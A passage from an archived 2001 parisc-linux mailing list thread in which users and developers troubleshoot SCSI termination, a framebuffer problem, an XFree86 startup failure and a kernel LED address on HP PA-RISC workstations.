> terminated unless I put a D50 SE terminator on the external connector.   Was 
> this the way they were usually delivered?

I think so.

> The 712/60 is even stranger: It has one SCSI drive housing and a short ribbon
> cable with no termination.  It looks like the correct configuration for this 
> one would be to activate the drive's termination and also put a D50 terminato
>   r 
> on the external connector?

Yes. But it works w/o termination too since the cable is vry short
if nothing external is connected.

grant




From - Thu Nov 08 21:19:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problems with onboard 715/100 framebuffer
Date: Sun, 14 Oct 2001 20:48:35 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <20011014204835.A18545@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620625 27972 80.91.229.3 (22 Nov 2014 01:43:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:45 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 14 12:48:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from solo.franken.de (pD9051BC2.dip.t-dialin.net [217.5.27.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9CF18482A
	for <parisc-linux@parisc-linux.org>; Sun, 14 Oct 2001 12:48:50 -0600 (MDT)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.11.6/8.11.6) id f9EImZq18596
	for parisc-linux@parisc-linux.org; Sun, 14 Oct 2001 20:48:35 +0200
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:12644

Hi,

I have a small problem with my 715/100 (updated to PDC version 1.6), the 
onboard graphics doesn't work. I always get a blank screen and when booting
linux the sti debug output prints a screen size of 0x0 :-( Since I got this
machine with HCRX8Z installed it might be, that the onboard graphics has 
been disabled, but I haven't found to enable it again.

Maybe someone here could give me a hint either how to enable the onboard
framebuffer or a way how to find out, what's wrong (maybe the video ram
is bad or whatever).

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]




From - Thu Nov 08 21:19:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel panic with -pa48]
Date: Mon, 15 Oct 2001 09:08:36 +0200 (CEST)
Lines: 51
Approved: news@gmane.org
Message-ID: <1003129716.3bca8b74b7670@webmail.tiscalinet.be>
References: <3BC9F310.90FBEB48@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620625 27980 80.91.229.3 (22 Nov 2014 01:43:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James.Bottomley@HansenPartnership.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 15 01:08:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6062F482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Oct 2001 01:08:49 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 15t1rY-0003FM-00; Mon, 15 Oct 2001 09:08:36 +0200
In-Reply-To: <3BC9F310.90FBEB48@freebel.net>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Xref: news.gmane.org gmane.linux.ports.parisc:12645

James Bottomley wrote:
> 
> > Just co -pa49 and boot again but strange behaviour (as with pa45).
Here
> > the SCSI kernel messages:
> 
> I suspect this is probably a cabling/termination problem.  The new
driver does
> fast scsi via synchronous negotiation which is much less tolerant of
harware
> setup than the old asynchronous SCSI.  You can test this theory out by
turning
> off async negotiation in the driver: by recompiling, I'm afraid, I
haven't
> made it a config option.
> 
> If you apply the attached patch it will suppress the synchronous
negotiation.
> If the driver boots your machine with no issues then it's a safe bet
you have
> a cabling or termination problem.
> 
> Your next problem will be the C3325A drive:  I have one of these and
it seems
> to drop tagged commands under heavy load (which annoys the SCSI error
handler
> no end).  I was going to ask for it to be added to the SCSI mid-layer
black
> list as being unable to handle tags, but I haven't got around to it
yet.
> 
> James
> 

Hello James,

Unfortunately I have'nt anymore -pa49 sources to check your patch but I still 
have the binary and a scsi terminator (which was removed for other test).

So I reboot with the vmlinux-2.4.9-pa49 end ending the scsi chain by the 
terminator and it works fine.

Thanks a lot for remarks and help,
        joel.
 

-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)




From - Thu Nov 08 21:19:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Xfree86 failled with -pa57
Date: Mon, 15 Oct 2001 15:59:35 +0200 (CEST)
Lines: 146
Approved: news@gmane.org
Message-ID: <1003154375.3bcaebc713db3@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620625 27983 80.91.229.3 (22 Nov 2014 01:43:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:45 +0000 (UTC)
Cc: joel.soete@freebel.net
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 15 07:59:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 56101482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Oct 2001 07:59:37 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 15t8HH-0002bz-00; Mon, 15 Oct 2001 15:59:35 +0200
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Xref: news.gmane.org gmane.linux.ports.parisc:12646

Hi all,

Just finished some test of -pa57.

It seems to work very fine as well as on my 712 Model (with scsi terminator) as 
on B180L model (Diagnostic Led working and logo appears well on screen top). 
Disconect-reconnect kbd does not present any problem.

I try now to start xdm (which works more or less with some previous kernel 
release). This time it failed with following message (same on each model):
XFree86 Version 4.1.0 / X Window System
(protocol Version 11, revision 0, vendor release 6510)
Release Date: 2 June 2001
	If the server is older than 6-12 months, or if your card is
	newer than the above date, look for a newer version before
	reporting problems.  (See http://www.XFree86.Org/FAQ)
Build Operating System: Linux 2.4.0-pa51 parisc64 [ELF] 
(==) Log file: "/var/log/XFree86.0.log", Time: Mon Oct 15 15:07:57 2001
(==) Using config file: "/etc/X11/XF86Config-4"
Markers: (--) probed, (**) from config file, (==) default setting,
         (++) from command line, (!!) notice, (II) informational,
         (WW) warning, (EE) error, (NI) not implemented, (??) unknown.
(==) ServerLayout "Simple Layout"
(**) |-->Screen "Screen 1" (0)
(**) |   |-->Monitor "lcd"
(**) |   |-->Device "fbdev"
(**) |-->Input Device "Mouse1"
(**) |-->Input Device "Keyboard1"
(**) Option "AutoRepeat" "500 30"
(**) Option "XkbRules" "xfree86"
(**) XKB: rules: "xfree86"
(**) Option "XkbModel" "pc101"
(**) XKB: model: "pc101"
(**) Option "XkbLayout" "us"
(**) XKB: layout: "us"
(==) Keyboard: CustomKeycode disabled
(**) FontPath set to 
"/usr/X11R6/lib/X11/fonts/misc/,/usr/X11R6/lib/X11/fonts/75dpi/:unscaled,/usr/X1
1R6/lib/X11/fonts/100dpi/:unscaled,/usr/X11R6/lib/X11/fonts/Type1/,/usr/X11R6/li
b/X11/fonts/Speedo/,/usr/X11R6/lib/X11/fonts/75dpi/,/usr/X11R6/lib/X11/fonts/100
dpi/"
(**) RgbPath set to "/usr/X11R6/lib/X11/rgb"
(++) using VT number 7

(WW) Cannot open APM
(EE) No OS PCI support available
(II) Addressable bus resource ranges are
	[0] -1 0	0x00000000 - 0xffffffff (0x0) MX[B]
	[1] -1 0	0x00000000 - 0x0000ffff (0x10000) IX[B]
(II) OS-reported resource ranges:
	[0] -1 0	0xffffffff - 0xffffffff (0x1) MX[B]
	[1] -1 0	0x00000000 - 0x00000000 (0x1) MX[B]
	[2] -1 0	0x0000ffff - 0x0000ffff (0x1) IX[B]
	[3] -1 0	0x00000000 - 0x00000000 (0x1) IX[B]
(II) OS-reported resource ranges after removing overlaps with PCI:
	[0] -1 0	0xffffffff - 0xffffffff (0x1) MX[B]
	[1] -1 0	0x00000000 - 0x00000000 (0x1) MX[B]
	[2] -1 0	0x0000ffff - 0x0000ffff (0x1) IX[B]
	[3] -1 0	0x00000000 - 0x00000000 (0x1) IX[B]
(II) All system resource ranges:
	[0] -1 0	0xffffffff - 0xffffffff (0x1) MX[B]
	[1] -1 0	0x00000000 - 0x00000000 (0x1) MX[B]
	[2] -1 0	0x0000ffff - 0x0000ffff (0x1) IX[B]
	[3] -1 0	0x00000000 - 0x00000000 (0x1) IX[B]
(II) MGA: driver for Matrox chipsets: mga2064w, mga1064sg, mga2164w,
	mga2164w AGP, mgag100, mgag100 PCI, mgag200, mgag200 PCI, mgag400
(II) GLINT: driver for 3Dlabs chipsets: gamma, ti_pm2, ti_pm, pm3, pm2v,
	pm2, pm, 300sx, 500tx, mx, delta
	S3VIdentify
(II) S3VIRGE: driver (version 1.6.0) for S3 ViRGE chipsets: virge, 86C325,
	virge vx, 86C988, virge dx, virge gx, 86C375, 86C385, virge gx2,
	86C357, virge mx, 86C260, virge mx+, 86C280, trio 3d, 86C365,
	trio 3d/2x, 86C362, 86C368
(II) SIS: driver for SiS chipsets: SIS5597, SIS5598, SIS530, SIS6326,
	SIS300, SIS630, SIS540
(II) SAVAGE: driver (version 1.1.16) for S3 Savage chipsets: Savage4,
	Savage3D, Savage3D-MV, Savage2000, Savage/MX-MV, Savage/MX,
	Savage/IX-MV, Savage/IX, ProSavage PM133, ProSavage KM133, Twister,
	TwisterK
(II) TRIDENT: driver for Trident chipsets: tvga8900d, cyber9320, cyber9388,
	cyber9397, cyber9397dvd, cyber9520, cyber9525dvd, cyberblade/e4,
	tgui9420dgi, tgui9440agi, tgui9660, tgui9680, providia9682,
	providia9685, cyber9382, cyber9385, 3dimage975, 3dimage985, blade3d,
	cyberbladei7, cyberbladei7d, cyberbladei1, cyberbladei1d,
	cyberbladeAi1, cyberbladeAi1d, cyberbladeXP, cyberbladeXPm
(II) CHIPS: Driver for Chips and Technologies chipsets: ct65520, ct65525,
	ct65530, ct65535, ct65540, ct65545, ct65546, ct65548, ct65550,
	ct65554, ct65555, ct68554, ct69000, ct69030, ct64200, ct64300
(II) TDFX: Driver for 3dfx Banshee/Voodoo3 chipsets: 3dfx Banshee,
	3dfx Voodoo3, 3dfx Voodoo5
(II) FBDev: driver for framebuffer: fbdev, afb
(II) ATI: ATI driver (version 6.3.6) for chipsets: ati
(II) R128: Driver for ATI Rage 128 chipsets: ATI Rage 128 RE (PCI),
	ATI Rage 128 RF (AGP), ATI Rage 128 RG (AGP), ATI Rage 128 RK (PCI),
	ATI Rage 128 RL (AGP), ATI Rage 128 Pro PD (PCI),
	ATI Rage 128 Pro PF (AGP), ATI Rage 128 Mobility LE (PCI),
	ATI Rage 128 Mobility LF (AGP), ATI Rage 128 Mobility MF (AGP),
	ATI Rage 128 Mobility ML (AGP)
(II) RADEON: Driver for ATI Radeon chipsets: ATI Radeon QD (AGP),
	ATI Radeon QE (AGP), ATI Radeon QF (AGP), ATI Radeon QG (AGP),
	ATI Radeon VE (AGP)
(II) imstt: driver (version 1.0.0 for IMS TwinTurbo chipsets : imstt128,
	imstt3d
(II) VGA: Generic VGA driver (version 4.0) for chipsets: generic
(II) v4l driver for Video4Linux
	S3VProbe begin
(II) FBDev(0): using default device
(II) Running in FRAMEBUFFER Mode
(**) FBDev(0): Depth 8, (--) framebuffer bpp 8
(==) FBDev(0): Default visual is PseudoColor
(==) FBDev(0): Using gamma correction (1.0, 1.0, 1.0)
(II) FBDev(0): Hardware:  (vidmem: 2048k)
(II) FBDev(0): Checking Modes against framebuffer device...
(II) FBDev(0): 	mode "640x480" ok
(II) FBDev(0): Checking Modes against monitor...
(--) FBDev(0): Virtual size is 640x480 (pitch 640)
(**) FBDev(0): Default mode "640x480": 25.2 MHz (scaled from 0.0 MHz), 31.5 kHz, 
60.0 Hz
(II) FBDev(0): Modeline "640x480"   25.20  640 656 752 800  480 490 492 525 
-hsync -vsync
(++) FBDev(0): DPI set to (100, 100)
(**) FBDev(0): Using "Shadow Framebuffer"

Fatal server error:
AddScreen/ScreenInit failed for driver 0


When reporting a problem related to a server crash, please send
the full server output, not just the last messages.
This can be found in the log file "/var/log/XFree86.0.log".
Please report problems to submit@bugs.debian.org.


On the B180 I use the same XF86config (may be now outdated) as on 712/80, the 
one from Thomas Bogendoerfer available at:

http://lists.parisc-linux.org/pipermail/parisc-linux/2001-June/012928.html

Thanks in advance for help,
        Joel

-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)




From - Thu Nov 08 21:19:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Xfree86 failled with -pa57
Date: Mon, 15 Oct 2001 16:49:03 +0100
Lines: 9
Approved: news@gmane.org
Message-ID: <20011015164903.X11105@linuxcare.com>
References: <1003154375.3bcaebc713db3@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620626 27984 80.91.229.3 (22 Nov 2014 01:43:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 15 09:48:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id 417FD482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Oct 2001 09:48:35 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id BAF7CB00C; Mon, 15 Oct 2001 16:49:03 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <1003154375.3bcaebc713db3@webmail.tiscalinet.be>; from joel.soete@freebel.net on Mon, Oct 15, 2001 at 03:59:35PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:12647

> (EE) No OS PCI support available

Do you have PCI support enabled in your kernel?

Richard





From - Thu Nov 08 21:19:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@elvis.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Xfree86 failled with -pa57
Date: Mon, 15 Oct 2001 18:09:23 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <20011015180923.A14160@elvis.franken.de>
References: <1003154375.3bcaebc713db3@webmail.tiscalinet.be> <20011015164903.X11105@linuxcare.com>
Reply-To: tsbogend@alpha.franken.de
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620626 27988 80.91.229.3 (22 Nov 2014 01:43:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:46 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 15 10:09:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from elvis.franken.de (elvis.franken.de [193.175.24.41])
	by dsl2.external.hp.com (Postfix) with ESMTP id A7DE3482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Oct 2001 10:09:34 -0600 (MDT)
Original-Received: from tsbogend by elvis.franken.de with local (Exim 3.22 #1)
	id 15tAIt-0003sb-00; Mon, 15 Oct 2001 18:09:23 +0200
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011015164903.X11105@linuxcare.com>; from rhirst@linuxcare.com on Mon, Oct 15, 2001 at 04:49:03PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:12648

On Mon, Oct 15, 2001 at 04:49:03PM +0100, Richard Hirst wrote:
> > (EE) No OS PCI support available
> 
> Do you have PCI support enabled in your kernel?

shouldn't matter. I bet the framebuffer runs in a different resolution than
it's configured in XF86Config. Since the current stifb doesn't support
mode switching, I've made the check very strict to not allow it. So
the boot time resolution and bpp must match that from XF86Config.

Thomas.





From - Thu Nov 08 21:19:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Xfree86 failled with -pa57
Date: Mon, 15 Oct 2001 18:25:34 +0200 (CEST)
Lines: 27
Approved: news@gmane.org
Message-ID: <1003163134.3bcb0dfe152c5@webmail.tiscalinet.be>
References: <1003154375.3bcaebc713db3@webmail.tiscalinet.be> <20011015164903.X11105@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620626 27990 80.91.229.3 (22 Nov 2014 01:43:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:46 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 15 10:25:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id EA324482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Oct 2001 10:25:39 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 15tAYY-0000Uk-00; Mon, 15 Oct 2001 18:25:34 +0200
In-Reply-To: <20011015164903.X11105@linuxcare.com>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Xref: news.gmane.org gmane.linux.ports.parisc:12649

Hi Richard,

Quoting Richard Hirst <rhirst@linuxcare.com>:

> > (EE) No OS PCI support available
> 
> Do you have PCI support enabled in your kernel?
> 
> Richard
> 
> 
> 
Yes:
CONFIG_PCI=yes
CONFIG_PCI_LBA=yes
CONFIG_PCI_NAMES=yes

As 'make oldconfig' done (answer no yo EISA support: not need; yes for LASI 
53C700 support)

Joel

-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)




From - Thu Nov 08 21:19:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Scott Ashcroft <scott.ashcroft@talk21.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] LED device moves around on B160L
Date: Mon, 15 Oct 2001 17:46:30 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <20011015174630.A3315@cargoclaimsdirect.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620626 27993 80.91.229.3 (22 Nov 2014 01:43:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:46 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 15 10:51:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ccd.cargoclaimsdirect.com (unknown [62.6.162.114])
	by dsl2.external.hp.com (Postfix) with ESMTP id DAE27482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Oct 2001 10:51:22 -0600 (MDT)
Original-Received: from ashcroft by ccd.cargoclaimsdirect.com with local (Exim 3.32 #1 (Debian))
	id 15tAso-0000re-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Oct 2001 17:46:30 +0100
Content-Disposition: inline
User-Agent: Mutt/1.3.22i
Xref: news.gmane.org gmane.linux.ports.parisc:12650

Something weird is going on with the address of the LED device on my
B160L.

Here's a grep of the logs I've got:

elson:/var/log# zgrep "Linux version\|LED" messages* 
messages:Oct 15 15:55:42 nelson kernel: Linux version 2.4.9-pa57
(root@nelson) (gcc version 3.0.2 20010922 (Debian prerelease)) #16 Mon
Oct 15 15:48:33 BST 2001
messages:Oct 15 15:55:42 nelson kernel: LED display at f0190000
registered
messages.0:Oct  9 14:58:13 nelson kernel: Linux version 2.4.9-pa45
(root@nelson) (gcc version 3.0.2 20010922 (Debian prerelease)) #13 Tue
Oct 9 14:30:37 BST 2001
messages.0:Oct  9 14:58:13 nelson kernel: LED display at ffd0c000
registered
messages.0:Oct 10 13:34:23 nelson kernel: Linux version 2.4.9-pa45
(root@nelson) (gcc version 3.0.2 20010922 (Debian prerelease)) #13 Tue
Oct 9 14:30:37 BST 2001
messages.0:Oct 10 13:34:23 nelson kernel: LED display at ffd0c000
registered
messages.0:Oct 13 13:10:09 nelson kernel: Linux version 2.4.9-pa52
(root@nelson) (gcc version 3.0.2 20010922 (Debian prerelease)) #14 Sat
Oct 13 12:42:38 BST 2001
messages.0:Oct 13 13:10:09 nelson kernel: LED display at f0190001
registered
messages.1.gz:Sep 30 12:54:48 nelson kernel: Linux version 2.4.9-pa29
(root@nelson) (gcc version 3.0.2 20010825 (Debian prerelease)) #12 Sun
Sep 30 12:26:28 BST 2001
messages.1.gz:Sep 30 12:54:48 nelson kernel: PDC reported no LCD or LED.
messages.1.gz:Sep 30 12:54:48 nelson kernel: LED display at ffd0c000
registered

I think ffd0c000 is the correct address looks like it broke between pa45
and pa52.

Any thing I can do to debug this?

Cheers,
Scott






From - Thu Nov 08 21:19:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Xfree86 failled with -pa57
Date: Mon, 15 Oct 2001 19:14:54 +0200 (CEST)
Lines: 41
Approved: news@gmane.org
Message-ID: <1003166094.3bcb198edae10@webmail.tiscalinet.be>
References: <1003154375.3bcaebc713db3@webmail.tiscalinet.be> <20011015164903.X11105@linuxcare.com> <20011015180923.A14160@elvis.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620627 27995 80.91.229.3 (22 Nov 2014 01:43:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:47 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>, joel.soete@freebel.net,
	parisc-linux@lists.parisc-linux.org
To: tsbogend@alpha.franken.de,
	Thomas Bogendoerfer <tsbogend@elvis.franken.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 15 11:15:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 32820482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Oct 2001 11:15:03 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 15tBKI-0004Y1-00; Mon, 15 Oct 2001 19:14:54 +0200
In-Reply-To: <20011015180923.A14160@elvis.franken.de>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Xref: news.gmane.org gmane.linux.ports.parisc:12651

Hi Thomas,

Quoting Thomas Bogendoerfer <tsbogend@elvis.franken.de>:

> On Mon, Oct 15, 2001 at 04:49:03PM +0100, Richard Hirst wrote:
> > > (EE) No OS PCI support available
> > 
> > Do you have PCI support enabled in your kernel?
> 
> shouldn't matter. I bet the framebuffer runs in a different resolution
> than
> it's configured in XF86Config. Since the current stifb doesn't support
> mode switching, I've made the check very strict to not allow it. So
> the boot time resolution and bpp must match that from XF86Config.
> 
> Thomas.
> 
Sorry for NEWBIES (as I am in term of X configuration) what means bpp?

Well I found what I have to change in my config file to make xdm works.
Just a problem:
After the xdm start everything seems to works fine (right colors, mouse 
working,...). Then I login: ok the pointer still work, I can work in the default 
xterm,...
But when I exit mouse does not move any more and I had to restart xdm.

(Um.., on my B180 I thing have to update Xfree 4.0 to 4.1 the mouse does not 
work at all but gpm well)

Any idea?

Thanks for all great job and in advance for additional help,
        Joel



-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)




From - Thu Nov 08 21:19:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Xfree86 failled with -pa57
Date: Mon, 15 Oct 2001 20:11:12 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <20011015181216.E5A77482A@dsl2.external.hp.com>
References: <1003154375.3bcaebc713db3@webmail.tiscalinet.be> <20011015180923.A14160@elvis.franken.de> <1003166094.3bcb198edae10@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620627 27999 80.91.229.3 (22 Nov 2014 01:43:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 15 12:12:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id E5A77482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Oct 2001 12:12:16 -0600 (MDT)
Original-Received: (qmail 19123 invoked by uid 0); 15 Oct 2001 18:12:14 -0000
Original-Received: from pd90403af.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.3.175)
  by mail.gmx.net (mp011-rz3) with SMTP; 15 Oct 2001 18:12:14 -0000
X-Mailer: KMail [version 1.3.6]
In-Reply-To: <1003166094.3bcb198edae10@webmail.tiscalinet.be>
Xref: news.gmane.org gmane.linux.ports.parisc:12652

On Monday 15 October 2001 19:14, joel.soete@freebel.net wrote:
> Sorry for NEWBIES (as I am in term of X configuration) what means bpp?

bpp = bits per pixel. 
You should enter "8" here, which defaults to 2^8 = 256 colors.

> Well I found what I have to change in my config file to make xdm works.
> Just a problem:
> After the xdm start everything seems to works fine (right colors, mouse
> working,...). Then I login: ok the pointer still work, I can work in the
> default xterm,...
> But when I exit mouse does not move any more and I had to restart xdm.
>
> (Um.., on my B180 I thing have to update Xfree 4.0 to 4.1 the mouse does
> not work at all but gpm well)

I assume you have a PS/2 mouse.
If so, disable gpm before starting xdm ("/etc/init.d/gpm stop").

Greetings,
Helge




From - Thu Nov 08 21:19:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Xfree86 failled with -pa57
